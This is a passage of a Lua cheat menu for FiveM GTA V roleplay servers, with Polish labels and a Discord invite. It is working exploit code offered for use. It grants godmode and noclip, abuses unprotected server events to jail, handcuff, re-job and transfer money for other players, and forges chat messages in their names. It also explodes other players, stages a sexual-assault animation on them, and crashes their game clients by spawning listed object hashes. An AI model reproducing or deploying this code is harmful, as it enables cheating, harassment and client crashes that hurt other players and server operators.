  8219. elseif dE.id ~= 13 and dE.id ~= 12 and KrystekMenu.Button(dE.name .. ' Wersja 4', price4) then
  8220. SetVehicleMod(veh, dE.id, 3)
  8221. end
  8222. KrystekMenu.Display()
  8223. end
  8224. end
  8225. if KrystekMenu.IsMenuOpened('KrystekMu') then
  8226. local dQ = PlayerId(-1)
  8227. local bH = GetPlayerName(dQ)
  8228. av('Zapros kolegow na discorda: ~h~https://discord.gg/zMueqbA', false)
  8229. av('Jak tam mija ci dzisiaj dzien? :D', false)
  8230. if KrystekMenu.CheckBox('~h~~p~#~s~ ∑ Nick: ~r~' .. GetPlayerName(PlayerId(-1)) .. ' ~b~Informacje ~s~-->',
  8231. showinfo2,
  8232. function(dR)
  8233. crosshair = false
  8234. crosshairc = false
  8235. showinfo2 = dR
  8236. end
  8237. )
  8238. then
  8239. elseif KrystekMenu.MenuButton('~h~~p~#~s~ ∑ Menu Postaci ∑', 'SelfMenu') then
  8240. elseif KrystekMenu.MenuButton('~h~~p~#~s~ ∑ Gracze Online ∑', 'OnlinePlayerMenu') then
  8241. elseif KrystekMenu.MenuButton('~h~~p~#~s~ ∑ Menu Teleportu ∑', 'TeleportMenu') then
  8242. elseif KrystekMenu.MenuButton('~h~~p~#~s~ ∑ Menu Pojazdow ∑', 'VehicleMenu') then
  8243. elseif KrystekMenu.MenuButton('~h~~p~#~s~ ∑ Menu Broni ∑', 'WeaponMenu') then
  8244. elseif KrystekMenu.MenuButton('~h~~p~#~s~ ∑ Lua Menu ∑', 'LuaMenu') then
  8245. elseif KrystekMenu.MenuButton('~h~~p~#~s~ ∑ Zaawansowane ∑', 'AdvM') then
  8246. elseif KrystekMenu.MenuButton('~h~~p~#~y~ ∑ Social Media ∑', 'crds') then
  8247. elseif KrystekMenu.Button('~h~~p~#~r~ ∑ Wylacz Menu ∑') then
  8248. QuitMenu()
  8249. end
  8250. KrystekMenu.Display()
  8251. elseif KrystekMenu.IsMenuOpened('SelfMenu') then
  8252. if
  8253. KrystekMenu.CheckBox(
  8254. '~h~~g~Godmode',
  8255. Godmode,
  8256. function(dR)
  8257. Godmode = dR
  8258. end
  8259. )
  8260. then
  8261. elseif KrystekMenu.Button('~h~~y~Zbugowany ~g~Godmode') then
  8262. local dS = 'stt_prop_stunt_soccer_ball'
  8263. while not HasModelLoaded(GetHashKey(dS)) do
  8264. Citizen.Wait(0)
  8265. RequestModel(GetHashKey(dS))
  8266. end
  8267. local dT = CreateObject(GetHashKey(dS), 0, 0, 0, true, true, false)
  8268. SetEntityVisible(dT, 0, 0)
  8269. AttachEntityToEntity(
  8270. dT,
  8271. GetPlayerPed(-1),
  8272. GetPedBoneIndex(GetPlayerPed(-1), 57005),
  8273. 0,
  8274. 0,
  8275. -1.0,
  8276. 0,
  8277. 0,
  8278. 0,
  8279. false,
  8280. true,
  8281. true,
  8282. true,
  8283. 1,
  8284. true
  8285. )
  8286. elseif
  8287. KrystekMenu.CheckBox(
  8288. '~h~~g~Niewidzialnosc',
  8289. d4,
  8290. function(dR)
  8291. d4 = dR
  8292. end
  8293. )
  8294. then
  8295. elseif KrystekMenu.Button('~h~~r~Zabij sie') then
  8296. SetEntityHealth(PlayerPedId(-1), 0)
  8297. elseif KrystekMenu.Button('~h~~g~ESX~s~ Revive Siebie~s~') then
  8298. TriggerServerEvent('esx_ambulancejob:setDeathStatus', false)
  8299. elseif KrystekMenu.Button('~h~~g~Ulecz/Revive') then
  8300. SetEntityHealth(PlayerPedId(-1), 200)
  8301. elseif KrystekMenu.Button('~h~~b~Daj Armor') then
  8302. SetPedArmour(PlayerPedId(-1), 200)
  8303. elseif
  8304. KrystekMenu.CheckBox(
  8305. '~h~Nieskonczona Stamina',
  8306. InfStamina,
  8307. function(dR)
  8308. InfStamina = dR
  8309. end
  8310. )
  8311. then
  8312. elseif
  8313. KrystekMenu.CheckBox(
  8314. '~h~Termo ~o~Wizja',
  8315. night,
  8316. function(night)
  8317. end
  8318. )
  8319. then
  8320. night = not night
  8321. night = night
  8322. SetSeethrough(night)
  8323. elseif
  8324. KrystekMenu.CheckBox(
  8325. '~h~~o~Noktowizor',
  8326. night,
  8327. function(night)
  8328. end
  8329. )
  8330. then
  8331. night = not night
  8332. nightVision = night
  8333. SetNightvision(nightVision)
  8334. elseif
  8335. KrystekMenu.CheckBox(
  8336. '~h~Fast Run',
  8337. fastrun,
  8338. function(dR)
  8339. fastrun = dR
  8340. end
  8341. )
  8342. then
  8343. elseif
  8344. KrystekMenu.CheckBox(
  8345. '~h~Super Jump',
  8346. SuperJump,
  8347. function(dR)
  8348. SuperJump = dR
  8349. end
  8350. )
  8351. then
  8352. elseif
  8353. KrystekMenu.CheckBox(
  8354. '~h~Noclip',
  8355. Noclip,
  8356. function(dR)
  8357. Noclip = dR
  8358. end
  8359. )
  8360. then
  8361. end
  8362. KrystekMenu.Display()
  8363. elseif KrystekMenu.IsMenuOpened('OnlinePlayerMenu') then
  8364. for i = 0, 128 do
  8365. if
  8366. NetworkIsPlayerActive(i) and GetPlayerServerId(i) ~= 0 and
  8367. KrystekMenu.MenuButton(
  8368. GetPlayerName(i) ..
  8369. ' ~p~[' ..
  8370. GetPlayerServerId(i) ..
  8371. ']~s~ ~y~[' ..
  8372. i ..
  8373. ']~s~ ' ..
  8374. (IsPedDeadOrDying(GetPlayerPed(i), 1) and '~h~~r~MARTWY' or
  8375. '~h~~g~ZYWY'),
  8376. 'PlayerOptionsMenu'
  8377. )
  8378. then
  8379. SelectedPlayer = i
  8380. end
  8381. end
  8382. KrystekMenu.Display()
  8383. elseif KrystekMenu.IsMenuOpened('PlayerOptionsMenu') then
  8384. KrystekMenu.SetSubTitle('PlayerOptionsMenu', 'Opcje Gracza [' .. GetPlayerName(SelectedPlayer) .. ']')
  8385. if KrystekMenu.MenuButton('~h~~p~#~s~ ESX Triggery', 'ESXTriggerini') then
  8386. elseif KrystekMenu.MenuButton('~h~~p~#~s~ ESX Prace', 'ESXJobs2') then
  8387. elseif KrystekMenu.MenuButton('~h~~p~#~s~ VRP Triggery', 'VRPPlayerTriggers') then
  8388. elseif KrystekMenu.MenuButton('~h~~p~#~s~ Troll Menu', 'Trollmenu') then
  8389. elseif KrystekMenu.Button('~h~Obserwuj', cC and '~g~[OBSERWOWANIE]') then
  8390. SpectatePlayer(SelectedPlayer)
  8391. elseif KrystekMenu.Button('~h~~r~XD MODE') then
  8392. local dS = 'stt_prop_stunt_soccer_ball'
  8393. while not HasModelLoaded(GetHashKey(dS)) do
  8394. Citizen.Wait(0)
  8395. RequestModel(GetHashKey(dS))
  8396. end
  8397. local dT = CreateObject(GetHashKey(dS), 0, 0, 0, true, true, false)
  8398. SetEntityVisible(dT, 0, 0)
  8399. AttachEntityToEntity(
  8400. dT,
  8401. GetPlayerPed(SelectedPlayer),
  8402. GetPedBoneIndex(GetPlayerPed(SelectedPlayer), 57005),
  8403. 0,
  8404. 0,
  8405. -1.0,
  8406. 0,
  8407. 0,
  8408. 0,
  8409. false,
  8410. true,
  8411. true,
  8412. true,
  8413. 1,
  8414. true
  8415. )
  8416. elseif KrystekMenu.Button('~h~~g~Ulecz ~s~Gracza') then
  8417. local dU = 'PICKUP_HEALTH_STANDARD'
  8418. local dV = GetHashKey(dU)
  8419. local bK = GetEntityCoords(GetPlayerPed(SelectedPlayer))
  8420. CreateAmbientPickup(dV, bK.x, bK.y, bK.z + 1.0, 1, 1, dV, 1, 0)
  8421. SetPickupRegenerationTime(pickup, 60)
  8422. elseif KrystekMenu.Button('~h~~b~Daj Armor ~s~Graczowi') then
  8423. local dW = 'PICKUP_ARMOUR_STANDARD'
  8424. local dX = GetHashKey(dW)
  8425. local bK = GetEntityCoords(GetPlayerPed(SelectedPlayer))
  8426. local pickup = CreateAmbientPickup(dX, bK.x, bK.y, bK.z + 1.0, 1, 1, dX, 1, 0)
  8427. SetPickupRegenerationTime(pickup, 60)
  8428. elseif KrystekMenu.Button('~h~~b~Daj Full Armor ~s~Graczowi') then
  8429. local dW = 'PICKUP_ARMOUR_STANDARD'
  8430. local dX = GetHashKey(dW)
  8431. local bK = GetEntityCoords(GetPlayerPed(SelectedPlayer))
  8432. for i = 0, 99 do
  8433. Citizen.Wait(0)
  8434. CreateAmbientPickup(dX, bK.x, bK.y, bK.z + 1.0, 1, 1, dX, 1, 0)
  8435. SetPickupRegenerationTime(pickup, 10)
  8436. i = i + 1
  8437. end
  8438. elseif KrystekMenu.Button('~h~Teleportuj do niego') then
  8439. if cO then
  8440. local confirm = KeyboardInput('Czy na pewno? y/n', '', 0)
  8441. if confirm == 'y' then
  8442. local Entity =
  8443. IsPedInAnyVehicle(PlayerPedId(-1), false) and GetVehiclePedIsUsing(PlayerPedId(-1)) or
  8444. PlayerPedId(-1)
  8445. SetEntityCoords(Entity, GetEntityCoords(GetPlayerPed(SelectedPlayer)), 0.0, 0.0, 0.0, false)
  8446. elseif confirm == 'n' then
  8447. av('~h~~b~Niepowodzenie~s~.', false)
  8448. else
  8449. av('~h~~b~Niepoprawne~s~.', true)
  8450. av('~h~~b~Niepowodzenie~s~.', false)
  8451. end
  8452. else
  8453. local Entity =
  8454. IsPedInAnyVehicle(PlayerPedId(-1), false) and GetVehiclePedIsUsing(PlayerPedId(-1)) or
  8455. PlayerPedId(-1)
  8456. SetEntityCoords(Entity, GetEntityCoords(GetPlayerPed(SelectedPlayer)), 0.0, 0.0, 0.0, false)
  8457. end
  8458. elseif
  8459. KrystekMenu.CheckBox(
  8460. '~h~Freeze Player',
  8461. freezeplayer,
  8462. function(dR)
  8463. freezeplayer = dR
  8464. end
  8465. )
  8466. then
  8467. elseif KrystekMenu.MenuButton('~h~~p~#~s~ Daj Jedna Bron', 'GiveSingleWeaponPlayer') then
  8468. elseif KrystekMenu.Button('~h~Daj ~r~Wszystkie Bronie') then
  8469. for i = 1, #b6 do
  8470. GiveWeaponToPed(GetPlayerPed(SelectedPlayer), GetHashKey(b6[i]), 1000, false, false)
  8471. end
  8472. elseif KrystekMenu.Button('~h~Usun ~r~Wszystkie Bronie') then
  8473. RemoveAllPedWeapons(PlayerPedId(SelectedPlayer), true)
  8474. elseif KrystekMenu.Button('~h~Daj ~r~Pojazd') then
  8475. local ped = GetPlayerPed(SelectedPlayer)
  8476. local cb = KeyboardInput('Wprowadz nazwe pojazdu', '', 100)
  8477. if cb and IsModelValid(cb) and IsModelAVehicle(cb) then
  8478. RequestModel(cb)
  8479. while not HasModelLoaded(cb) do
  8480. Citizen.Wait(0)
  8481. end
  8482. local veh =
  8483. CreateVehicle(GetHashKey(cb), GetEntityCoords(ped), GetEntityHeading(ped) + 90, true, true)
  8484. else
  8485. av('~b~Nie ma takiego pojazdu!', true)
  8486. end
  8487. elseif KrystekMenu.Button('~h~Wyslij do ~r~Jail') then
  8488. TriggerServerEvent('esx-qalle-jail:jailPlayer', GetPlayerServerId(selectedPlayer), 5000, 'Pozdro :D')
  8489. TriggerServerEvent('esx_jailer:sendToJail', GetPlayerServerId(selectedPlayer), 45 * 60)
  8490. TriggerServerEvent('esx_jail:sendToJail', GetPlayerServerId(selectedPlayer), 45 * 60)
  8491. TriggerServerEvent('js:jailuser', GetPlayerServerId(selectedPlayer), 45 * 60, 'Pozdro :D')
  8492. TriggerServerEvent("esx_jailer:sendToJail", GetPlayerServerId(selectedPlayer), 60 * 60, 'Pozdro :D', 1)
  8493. TriggerServerEvent("esx_jailer:sendToJail", GetPlayerServerId(selectedPlayer), 9937, "Pozdro :D", 300)
  8494. TriggerServerEvent("esx-qalle-jail:jailPlayer", GetPlayerServerId(selectedPlayer), 5000, "Pozdro :D")
  8495. TriggerServerEvent("esx-qalle-jail:jailPlayerNew", GetPlayerServerId(selectedPlayer), 5000, "Pozdro :D")
  8496. TriggerServerEvent("esx_jail:sendToJail", GetPlayerServerId(selectedPlayer), 50000)
  8497. TriggerServerEvent("esx_jail:sendToJail", GetPlayerServerId(selectedPlayer), 5000, "Pozdro :D")
  8498. TriggerServerEvent("js:jailuser", GetPlayerServerId(selectedPlayer), 5000, "Pozdro :D")
  8499. TriggerServerEvent('chatMessageEntered', "SYSTEM", { 0, 0, 0 }, GetPlayerName(PlayerId()) .."Pozdro :D")
  8500. elseif KrystekMenu.Button('~h~~g~Wypusc ~s~Z Jail') then
  8501. local dY = SelectedPlayer
  8502. TriggerServerEvent('esx-qalle-jail:jailPlayer', GetPlayerServerId(dY), 0, 'escaperino')
  8503. TriggerServerEvent('esx_jailer:sendToJail', GetPlayerServerId(dY), 0)
  8504. TriggerServerEvent('esx_jail:sendToJail', GetPlayerServerId(dY), 0)
  8505. TriggerServerEvent('js:jailuser', GetPlayerServerId(dY), 0, 'escaperino')
  8506. end
  8507. KrystekMenu.Display()
  8508. elseif KrystekMenu.IsMenuOpened('ESXTriggerini') then
  8509. if KrystekMenu.Button('~h~~g~Revive Player') then
  8510. local ax = GetPlayerPed(SelectedPlayer)
  8511. local bK = GetEntityCoords(ax)
  8512. TriggerServerEvent('esx_ambulancejob:revive', GetPlayerServerId(SelectedPlayer))
  8513. local dZ = {
  8514. x = ESX.Math.Round(bK.x, 1),
  8515. y = ESX.Math.Round(bK.y, 1),
  8516. z = ESX.Math.Round(bK.z, 1)
  8517. }
  8518. RespawnPed(ax, dZ, 0.0)
  8519. StopScreenEffect('DeathFailOut')
  8520. DoScreenFadeIn(800)
  8521. elseif KrystekMenu.Button('~h~~g~Daj kase z twojego portfela') then
  8522. local m = KeyboardInput('Wpisz ilosc kasy do dania', '', 100)
  8523. if m ~= '' then
  8524. TriggerServerEvent(
  8525. 'esx:giveInventoryItem',
  8526. GetPlayerServerId(SelectedPlayer),
  8527. 'item_money',
  8528. 'money',
  8529. m
  8530. )
  8531. end
  8532. elseif KrystekMenu.Button('~h~~b~Skuj Gracza') then
  8533. TriggerServerEvent('esx_policejob:handcuff', GetPlayerServerId(SelectedPlayer))
  8534. end
  8535. KrystekMenu.Display()
  8536. elseif KrystekMenu.IsMenuOpened('VRPPlayerTriggers') then
  8537. if KrystekMenu.Button('~h~Wyslij pieniadze z twojego banku') then
  8538. local d_ = KeyboardInput('Wpisz ilosc kasy do dania', '', 100)
  8539. local e0 = KeyboardInput('Daj id gracza VRP!', '', 100)
  8540. if d_ ~= '' then
  8541. local di = GetPlayerServerId(PlayerId())
  8542. TriggerEvent('bank:transfer', di, GetPlayerServerId(SelectedPlayer), d_)
  8543. TriggerServerEvent('bank:transfer', e0, d_)
  8544. end
  8545. end
  8546. KrystekMenu.Display()
  8547. elseif KrystekMenu.IsMenuOpened('ESXJobs2') then
  8548. if KrystekMenu.Button('~h~Bezrobotny') then
  8549. TriggerServerEvent('NB:destituerplayer', GetPlayerServerId(SelectedPlayer))
  8550. UnemployedPlayer(SelectedPlayer)
  8551. elseif KrystekMenu.Button('~h~Ustaw ~b~Policjant ~s~Job') then
  8552. TriggerServerEvent('NB:recruterplayer', GetPlayerServerId(SelectedPlayer), 'police', 3)
  8553. PolicePlayer(SelectedPlayer)
  8554. elseif KrystekMenu.Button('~h~Ustaw ~o~Mechanik ~s~Job') then
  8555. TriggerServerEvent('NB:recruterplayer', GetPlayerServerId(SelectedPlayer), 'mecano', 3)
  8556. MecanoPlayer(SelectedPlayer)
  8557. elseif KrystekMenu.Button('~h~Ustaw ~y~Taxi ~s~Job') then
  8558. TriggerServerEvent('NB:recruterplayer', GetPlayerServerId(SelectedPlayer), 'taxi', 3)
  8559. TaxiPlayer(SelectedPlayer)
  8560. elseif KrystekMenu.Button('~h~Ustaw ~r~Ambulance ~s~Job') then
  8561. TriggerServerEvent('NB:recruterplayer', GetPlayerServerId(SelectedPlayer), 'ambulance', 3)
  8562. AmbulancePlayer(SelectedPlayer)
  8563. elseif KrystekMenu.Button('~h~Ustaw ~g~Agent Nieruchomosci ~s~Job') then
  8564. TriggerServerEvent('NB:recruterplayer', GetPlayerServerId(SelectedPlayer), 'realestateagent', 3)
  8565. RealEstateAgentPlayer(SelectedPlayer)
  8566. elseif KrystekMenu.Button('~h~Ustaw ~r~Car ~b~Dealer ~s~Job') then
  8567. TriggerServerEvent('NB:recruterplayer', GetPlayerServerId(SelectedPlayer), 'cardealer', 3)
  8568. CarDealerPlayer(SelectedPlayer)
  8569. end
  8570. KrystekMenu.Display()
  8571. elseif KrystekMenu.IsMenuOpened('Trollmenu') then
  8572. if KrystekMenu.MenuButton('~h~~p~#~s~ Zresp Ludzi', 'SpawnPeds') then
  8573. elseif KrystekMenu.MenuButton('~h~~p~#~s~ Zresp Model', 'SpawnObj') then
  8574. elseif KrystekMenu.Button('~h~~r~Falszywa ~s~Wiadomosc') then
  8575. local e1 = KeyboardInput('Wpisz wiadomosc do wyslania', '', 100)
  8576. local e2 = GetPlayerName(SelectedPlayer)
  8577. if e1 then
  8578. TriggerServerEvent(
  8579. '_chat:messageEntered',
  8580. e2,
  8581. {
  8582. 0,
  8583. 0x99,
  8584. 255
  8585. },
  8586. e1
  8587. )
  8588. end
  8589. elseif KrystekMenu.Button('~h~~r~Wyrzuc ~s~Z Pojazdu') then
  8590. ClearPedTasksImmediately(GetPlayerPed(SelectedPlayer))
  8591. elseif KrystekMenu.Button('~h~~y~Exploduj ~s~Pojazd') then
  8592. if IsPedInAnyVehicle(GetPlayerPed(SelectedPlayer), true) then
  8593. AddExplosion(GetEntityCoords(GetPlayerPed(SelectedPlayer)), 4, 1337.0, false, true, 0.0)
  8594. else
  8595. av('~h~~b~Gracz nie jest w pojezdzie~s~.', false)
  8596. end
  8597. elseif KrystekMenu.Button('~h~~r~Wystrzel ~s~jego pojazd') then
  8598. if GetVehiclePedIsIn(GetPlayerPed(SelectedPlayer), false) ~= 0 then
  8599. local e3 = GetEntityCoords(GetPlayerPed(SelectedPlayer))
  8600. local e4 = GetEntityHeading(GetPlayerPed(SelectedPlayer))
  8601. local e5 = CreatePed(5, 68070371, e3, e4, true)
  8602. local e6 = CreateVehicle(GetHashKey('adder'), e3, e4, true, false)
  8603. SetPedIntoVehicle(e5, e6, -1)
  8604. else
  8605. av('~h~~b~Gracz nie jest w pojezdzie~s~.', false)
  8606. end
  8607. elseif KrystekMenu.Button('~h~~r~Banana ~p~Party') then
  8608. local bH = CreateObject(GetHashKey('p_crahsed_heli_s'), 0, 0, 0, true, true, true)
  8609. local bI = CreateObject(GetHashKey('prop_rock_4_big2'), 0, 0, 0, true, true, true)
  8610. local bJ = CreateObject(GetHashKey('prop_beachflag_le'), 0, 0, 0, true, true, true)
  8611. AttachEntityToEntity(
  8612. bH,
  8613. GetPlayerPed(SelectedPlayer),
  8614. GetPedBoneIndex(GetPlayerPed(SelectedPlayer), 57005),
  8615. 0.4,
  8616. 0,
  8617. 0,
  8618. 0,
  8619. 270.0,
  8620. 60.0,
  8621. true,
  8622. true,
  8623. false,
  8624. true,
  8625. 1,
  8626. true
  8627. )
  8628. AttachEntityToEntity(
  8629. bI,
  8630. GetPlayerPed(SelectedPlayer),
  8631. GetPedBoneIndex(GetPlayerPed(SelectedPlayer), 57005),
  8632. 0.4,
  8633. 0,
  8634. 0,
  8635. 0,
  8636. 270.0,
  8637. 60.0,
  8638. true,
  8639. true,
  8640. false,
  8641. true,
  8642. 1,
  8643. true
  8644. )
  8645. AttachEntityToEntity(
  8646. bJ,
  8647. GetPlayerPed(SelectedPlayer),
  8648. GetPedBoneIndex(GetPlayerPed(SelectedPlayer), 57005),
  8649. 0.4,
  8650. 0,
  8651. 0,
  8652. 0,
  8653. 270.0,
  8654. 60.0,
  8655. true,
  8656. true,
  8657. false,
  8658. true,
  8659. 1,
  8660. true
  8661. )
  8662. elseif KrystekMenu.Button('~h~~r~Exploduj') then
  8663. AddExplosion(GetEntityCoords(GetPlayerPed(SelectedPlayer)), 5, 3000.0, true, false, 100000.0)
  8664. AddExplosion(GetEntityCoords(GetPlayerPed(SelectedPlayer)), 5, 3000.0, true, false, true)
  8665. elseif KrystekMenu.Button('~h~~r~Gwalc go XD') then
  8666. RequestModelSync('a_m_o_acult_01')
  8667. RequestAnimDict('rcmpaparazzo_2')
  8668. while not HasAnimDictLoaded('rcmpaparazzo_2') do
  8669. Citizen.Wait(0)
  8670. end
  8671. if IsPedInAnyVehicle(GetPlayerPed(SelectedPlayer), true) then
  8672. local veh = GetVehiclePedIsIn(GetPlayerPed(SelectedPlayer), true)
  8673. while not NetworkHasControlOfEntity(veh) do
  8674. NetworkRequestControlOfEntity(veh)
  8675. Citizen.Wait(0)
  8676. end
  8677. SetEntityAsMissionEntity(veh, true, true)
  8678. DeleteVehicle(veh)
  8679. DeleteEntity(veh)
  8680. end
  8681. count = -0.2
  8682. for b = 1, 3 do
  8683. local x, y, z = table.unpack(GetEntityCoords(GetPlayerPed(SelectedPlayer), true))
  8684. local bS = CreatePed(4, GetHashKey('a_m_o_acult_01'), x, y, z, 0.0, true, false)
  8685. SetEntityAsMissionEntity(bS, true, true)
  8686. AttachEntityToEntity(
  8687. bS,
  8688. GetPlayerPed(SelectedPlayer),
  8689. 4103,
  8690. 11816,
  8691. count,
  8692. 0.00,
  8693. 0.0,
  8694. 0.0,
  8695. 0.0,
  8696. 0.0,
  8697. false,
  8698. false,
  8699. false,
  8700. false,
  8701. 2,
  8702. true
  8703. )
  8704. ClearPedTasks(GetPlayerPed(SelectedPlayer))
  8705. TaskPlayAnim(
  8706. GetPlayerPed(SelectedPlayer),
  8707. 'rcmpaparazzo_2',
  8708. 'shag_loop_poppy',
  8709. 2.0,
  8710. 2.5,
  8711. -1,
  8712. 49,
  8713. 0,
  8714. 0,
  8715. 0,
  8716. 0
  8717. )
  8718. SetPedKeepTask(bS)
  8719. TaskPlayAnim(bS, 'rcmpaparazzo_2', 'shag_loop_a', 2.0, 2.5, -1, 49, 0, 0, 0, 0)
  8720. SetEntityInvincible(bS, true)
  8721. count = count - 0.4
  8722. end
  8723. elseif KrystekMenu.Button('~h~~r~Wsadz go do klatki') then
  8724. x, y, z = table.unpack(GetEntityCoords(GetPlayerPed(SelectedPlayer)))
  8725. roundx = tonumber(string.format('%.2f', x))
  8726. roundy = tonumber(string.format('%.2f', y))
  8727. roundz = tonumber(string.format('%.2f', z))
  8728. local e7 = 'prop_fnclink_05crnr1'
  8729. local e8 = GetHashKey(e7)
  8730. RequestModel(e8)
  8731. while not HasModelLoaded(e8) do
  8732. Citizen.Wait(0)
  8733. end
  8734. local e9 = CreateObject(e8, roundx - 1.70, roundy - 1.70, roundz - 1.0, true, true, false)
  8735. local ea = CreateObject(e8, roundx + 1.70, roundy + 1.70, roundz - 1.0, true, true, false)
  8736. SetEntityHeading(e9, -90.0)
  8737. SetEntityHeading(ea, 90.0)
  8738. FreezeEntityPosition(e9, true)
  8739. FreezeEntityPosition(ea, true)
  8740. elseif KrystekMenu.Button('~h~~r~Daj Hamburgera') then
  8741. local eb = 'xs_prop_hamburgher_wl'
  8742. local ec = GetHashKey(eb)
  8743. local ed = CreateObject(ec, 0, 0, 0, true, true, true)
  8744. AttachEntityToEntity(
  8745. ed,
  8746. GetPlayerPed(SelectedPlayer),
  8747. GetPedBoneIndex(GetPlayerPed(SelectedPlayer), 0),
  8748. 0,
  8749. 0,
  8750. -1.0,
  8751. 0.0,
  8752. 0.0,
  8753. 0,
  8754. true,
  8755. true,
  8756. false,
  8757. true,
  8758. 1,
  8759. true
  8760. )
  8761. elseif KrystekMenu.Button('~h~~r~Daj Hamburgera na jego pojazd') then
  8762. local eb = 'xs_prop_hamburgher_wl'
  8763. local ec = GetHashKey(eb)
  8764. local ed = CreateObject(ec, 0, 0, 0, true, true, true)
  8765. AttachEntityToEntity(
  8766. ed,
  8767. GetVehiclePedIsIn(GetPlayerPed(SelectedPlayer), false),
  8768. GetEntityBoneIndexByName(GetVehiclePedIsIn(GetPlayerPed(SelectedPlayer), false), 'chassis'),
  8769. 0,
  8770. 0,
  8771. -1.0,
  8772. 0.0,
  8773. 0.0,
  8774. 0,
  8775. true,
  8776. true,
  8777. false,
  8778. true,
  8779. 1,
  8780. true
  8781. )
  8782. elseif KrystekMenu.Button('~h~~r~Snowball troll') then
  8783. j = true
  8784. x, y, z = table.unpack(GetEntityCoords(GetPlayerPed(SelectedPlayer)))
  8785. roundx = tonumber(string.format('%.2f', x))
  8786. roundy = tonumber(string.format('%.2f', y))
  8787. roundz = tonumber(string.format('%.2f', z))
  8788. local ee = 'sr_prop_spec_tube_xxs_01a'
  8789. local ef = GetHashKey(ee)
  8790. RequestModel(ef)
  8791. RequestModel(smashhash)
  8792. while not HasModelLoaded(ef) do
  8793. Citizen.Wait(0)
  8794. end
  8795. local eg = CreateObject(ef, roundx, roundy, roundz - 5.0, true, true, false)
  8796. SetEntityRotation(eg, 0.0, 90.0, 0.0)
  8797. local eh = -356333586
  8798. local bR = 'WEAPON_SNOWBALL'
  8799. for i = 0, 10 do
  8800. local bK = GetEntityCoords(eg)
  8801. RequestModel(eh)
  8802. Citizen.Wait(50)
  8803. if HasModelLoaded(eh) then
  8804. local ped =
  8805. CreatePed(
  8806. 21,
  8807. eh,
  8808. bK.x + math.sin(i * 2.0),
  8809. bK.y - math.sin(i * 2.0),
  8810. bK.z - 5.0,
  8811. 0,
  8812. true,
  8813. true
  8814. ) and
  8815. CreatePed(
  8816. 21,
  8817. eh,
  8818. bK.x - math.sin(i * 2.0),
  8819. bK.y + math.sin(i * 2.0),
  8820. bK.z - 5.0,
  8821. 0,
  8822. true,
  8823. true
  8824. )
  8825. NetworkRegisterEntityAsNetworked(ped)
  8826. if DoesEntityExist(ped) and not IsEntityDead(GetPlayerPed(SelectedPlayer)) then
  8827. local ei = PedToNet(ped)
  8828. NetworkSetNetworkIdDynamic(ei, false)
  8829. SetNetworkIdCanMigrate(ei, true)
  8830. SetNetworkIdExistsOnAllMachines(ei, true)
  8831. Citizen.Wait(500)
  8832. NetToPed(ei)
  8833. GiveWeaponToPed(ped, GetHashKey(bR), 9999, 1, 1)
  8834. SetCurrentPedWeapon(ped, GetHashKey(bR), true)
  8835. SetEntityInvincible(ped, true)
  8836. SetPedCanSwitchWeapon(ped, true)
  8837. TaskCombatPed(ped, GetPlayerPed(SelectedPlayer), 0, 16)
  8838. elseif IsEntityDead(GetPlayerPed(SelectedPlayer)) then
  8839. TaskCombatHatedTargetsInArea(ped, bK.x, bK.y, bK.z, 500)
  8840. else
  8841. Citizen.Wait(0)
  8842. end
  8843. end
  8844. end
  8845. elseif KrystekMenu.Button('~h~~o~_!_ ~r~CRASHUJ ~s~Gracza ~o~_!_') then
  8846. local ej = GetEntityCoords(GetPlayerPed(SelectedPlayer))
  8847. local ek = {
  8848. 0x9CF21E0F,
  8849. 0x34315488,
  8850. 0x6A27FEB1,
  8851. 0xCB2ACC8,
  8852. 0xC6899CDE,
  8853. 0xD14B5BA3,
  8854. 0xD9F4474C,
  8855. 0x32A9996C,
  8856. 0x69D4F974,
  8857. 0xCAFC1EC3,
  8858. 0x79B41171,
  8859. 0x1075651,
  8860. 0xC07792D4,
  8861. 0x781E451D,
  8862. 0x762657C6,
  8863. 0xC2E75A21,
  8864. 0xC3C00861,
  8865. 0x81FB3FF0,
  8866. 0x45EF7804,
  8867. 0xE65EC0E4,
  8868. 0xE764D794,
  8869. 0xFBF7D21F,
  8870. 0xE1AEB708,
  8871. 0xA5E3D471,
  8872. 0xD971BBAE,
  8873. 0xCF7A9A9D,
  8874. 0xC2CC99D8,
  8875. 0x8FB233A4,
  8876. 0x24E08E1F,
  8877. 0x337B2B54,
  8878. 0xB9402F87,
  8879. 0x4F2526DA
  8880. }
  8881. for i = 1, #ek do
  8882. local a = CreateObject(ek[i], ej, true, true, true)
  8883. end
  8884. end
  8885. KrystekMenu.Display()
  8886. elseif KrystekMenu.IsMenuOpened('SpawnObj') then
  8887. if KrystekMenu.Button('~w~Zresp ~r~Ufo ~w~Na Nim') then -- Ufo Player
  8888. local eb = "p_spinning_anus_s"
  8889. local ec = GetHashKey(eb)
  8890. local ed = CreateObject(ec, 0, 0, 0, true, true, true)
  8891. AttachEntityToEntity(ed, GetPlayerPed(SelectedPlayer), GetPedBoneIndex(GetPlayerPed(SelectedPlayer), 0), 0, 0, -1.0, 0.0, 0.0, 0, true, true, false, true, 1, true)
  8892. elseif KrystekMenu.Button('~w~Zresp ~r~Wiatrak ~w~Na Nim') then -- Windmill Player
  8893. local eb = "prop_windmill_01"
  8894. local ec = GetHashKey(eb)
  8895. local ed = CreateObject(ec, 0, 0, 0, true, true, true)
  8896. AttachEntityToEntity(ed, GetPlayerPed(SelectedPlayer), GetPedBoneIndex(GetPlayerPed(SelectedPlayer), 0), 0, 0, -1.0, 0.0, 0.0, 0, true, true, false, true, 1, true)
  8897. elseif KrystekMenu.Button('~w~Zresp ~r~Maryche ~w~Na Nim') then -- Weed Player
  8898. local eb = "prop_weed_01"
  8899. local ec = GetHashKey(eb)
  8900. local ed = CreateObject(ec, 0, 0, 0, true, true, true)
  8901. AttachEntityToEntity(ed, GetPlayerPed(SelectedPlayer), GetPedBoneIndex(GetPlayerPed(SelectedPlayer), 0), 0, 0, -1.0, 0.0, 0.0, 0, true, true, false, true, 1, true)
  8902. elseif KrystekMenu.Button("~h~~r~Customowy model") then
  8903. local coords = GetEntityCoords(GetPlayerPed(SelectedPlayer), true)
  8904. local input = KeyboardInput("wpisz nazwe", "", 100)
  8905. if IsModelValid(input) then
  8906. local obj = CreateObject(GetHashKey(input),coords.x,coords.y,coords.z,true,true,true)
  8907. if attachProp then
  8908. if selectedBone == 1 then
  8909. AttachEntityToEntity(obj,GetPlayerPed(selectedPlayer),GetPedBoneIndex(GetPlayerPed(selectedPlayer),31086),0.4,0,0,0,270.0,60.0,true,true,false,true,1,true)
  8910. elseif selectedBone == 2 then
